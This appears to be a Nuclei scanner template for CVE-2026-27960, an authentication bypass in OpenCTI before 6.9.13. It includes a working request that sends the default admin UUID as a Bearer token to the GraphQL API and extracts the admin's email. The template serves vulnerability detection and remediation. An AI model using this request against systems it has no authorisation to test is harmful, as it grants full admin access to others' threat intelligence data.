OpenCTI < 6.9.13 - Authentication Bypass via User Impersonation

id: CVE-2026-27960

info:
  name: OpenCTI < 6.9.13 - Authentication Bypass via User Impersonation
  author: DhiyaneshDk
  severity: critical
  description: |
    OpenCTI < 6.9.13 allows authentication bypass by supplying a Bearer token set to the admin user's internal_id UUID instead of a valid JWT. The default admin internal_id (88ec0c6a-13ce-5e39-b486-354fe4a7084f) grants full admin access to the GraphQL API, effectively bypassing all authentication.
  impact: |
    An unauthenticated attacker can gain full admin access to the OpenCTI GraphQL API, including reading and modifying all threat intelligence data.
  remediation: |
    Upgrade OpenCTI to version 6.9.13 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-27960
    - https://www.pruva.dev/reproductions/REPRO-2026-00314
    - https://www.pruva.dev/reproductions/REPRO-2026-00331
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-27960
    epss-score: 0.07086
    epss-percentile: 0.94275
    cwe-id: CWE-287
  metadata:
    verified: true
    max-request: 1
    vendor: opencti
    product: opencti
  tags: cve,cve2026,opencti,auth-bypass,unauth,vkev

http:
  - raw:
      - |
        POST /graphql HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Bearer 88ec0c6a-13ce-5e39-b486-354fe4a7084f

        {"query":"{ me { user_email name } }"}

    matchers:
      - type: dsl
        dsl:
          - 'regex("\"data\"\\s*:\\s*\\{\\s*\"me\"\\s*:\\s*\\{[^{}]*\"user_email\"\\s*:\\s*\"[^\"]+\"", body)'
          - 'status_code == 200'
        condition: and

    extractors:
      - type: json
        part: body
        json:
          - '.data.me.user_email'